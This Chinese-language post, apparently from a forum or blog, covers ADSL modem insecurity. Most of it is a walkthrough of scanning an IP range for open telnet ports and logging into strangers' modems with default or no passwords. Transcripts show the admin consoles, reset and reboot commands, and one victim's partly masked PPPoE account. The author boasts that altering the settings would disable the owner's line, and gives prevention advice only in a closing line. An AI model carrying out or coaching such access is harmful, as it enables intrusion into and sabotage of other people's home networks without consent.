一些ADSL Modem的安全問題

現在用ADSL的人越來越多了，電信局也大力推薦一些帶路由的ADSL MODEM，大家都知道，這些ADSL MODEM大多數用Telnet設置，例如南寧電信推薦大多數用戶使用的ZyXEL PRESTIGE 642 ADSL Modem。 但是很多用戶的安全意識不高。

密碼 一般ADSL Modem需要一個密碼登陸設置界面，但這個默認密碼經常被公開，而電信局也沒有提示用戶更改，這樣的MODEM給用戶留下了一個隱患

破壞 ADSL Modem的設置裡經常有些敏感選項，，如reset、disconnect、reboot等，一旦這些設置改動，你的Modem也許就“廢”了

實例 用任意一個掃描器掃自己所處IP段的23端口，一會兒就會看到一些IP有回應了，現在Telnet上去：

c:\windows\>telnet x.x.x.x 23 Router Manager Console Version: 1.07 Please enter your password: 要密碼？上google找一下相關資料，Login~~ Please enter your password: **** User Logged in.

Router Setup>

c:\windows\>telnet x.x.x.x 23

******************* Welcome to Titanium *******************

GlobespanVirata Inc., Software Release VIK-1.37.020524i/T93.3.13. Copyright (c) 2001-2002 by GlobespanVirata, Inc.

login: 又要？再google…… 上面兩個都是要默認密碼的，不好玩，看看下面的拍案驚奇： c:\windows\>telnet x.x.x.x 23 ISIN 6131R Copyright by ARESCOM 2001 Login Success! 大哥有沒有搞錯？我沒輸入Password啊~~~@_@ ISIN>help 先看看幫助

******* Console Help Menu ******* Available Command:

add add objects in talbe connect start the connection delete delete objects in table disconnect disconnect modem connection help display this menu again quit quit the system reboot reboot the router reset reset the configuration, and reboot save save the configuration set set system parameters show display system status test system test upgrade upgrade the firmware via FTP, TFTP and XMODEM

ISIN>show sysinfo

Vendor: Arescom Model: ISIN 6131R (Hardware) Version: 5.3.08B (Software version) UpTime: 0363:57 (hh:mm)

ISIN>

再看： c:\windows\>telnet x.x.x.x 23

logged on; type `@exit' to close connection. >>help 陌生人記得問路：P Command: adsl - entry to ADSL menu default - set all configuration to factory setting ipoa - entry to IPoA menu lan - entry to Ethernet menu list - list status for enabled PVC manage - entry to management menu mode - exit this menu and change modem mode pat - entry to PAT menu ping - ping IP for testing purpose pppoa - entry to PPPoA menu pppoe - entry to PPPoE menu quick - quick setup r1483 - entry to RFC1483 menu restart - reboot modem rtable - entry to Routing Table menu save - save and restart modem show - display configuration of PVC and Ethernet ver - display software version

Type 'help' or 'help <command>' for more details >> show 看看他有什麼秘密？ Ethernet ip: 192.168.1.1 Subnet mask: 255.255.255.0 FullDuplex:Enable

DHCP current setting : disable. DHCP ineffective setting : disable.

PPPoE setting: Function VPI/VCI CLASS UserID/Authentication PPPoE 0/35 ubr bnn*******/CHAP <-------賬號 LLC=Disable Echo is disabled

PPPoE IP : 218.21.*.*

PAT enabled interface: Interface IP address PPPoE 218.21.*.*

PAT incoming table: No. i/f name|WanIP Port/Protocal Server IP 1 pppoe 23/tcp 192.168.1.1

effective routing table: route add ppp_route 0.0.0.0 218.21.*.* 00:00:00:00 1 # MAN via ppp_ device

>> ver

Version : 2.80ZE (2.80ZE-H01.2103-FM11.0507A10Z 24/Jul/2001 14:50)

僅僅這樣就掌握了整個MODEM的控制權！只要我修改他的配置，他的MODEM就麻煩了，等電信局的人上門維修吧！

預防 安裝防火牆，禁止外部連接，更改ADSL Modem默認密碼。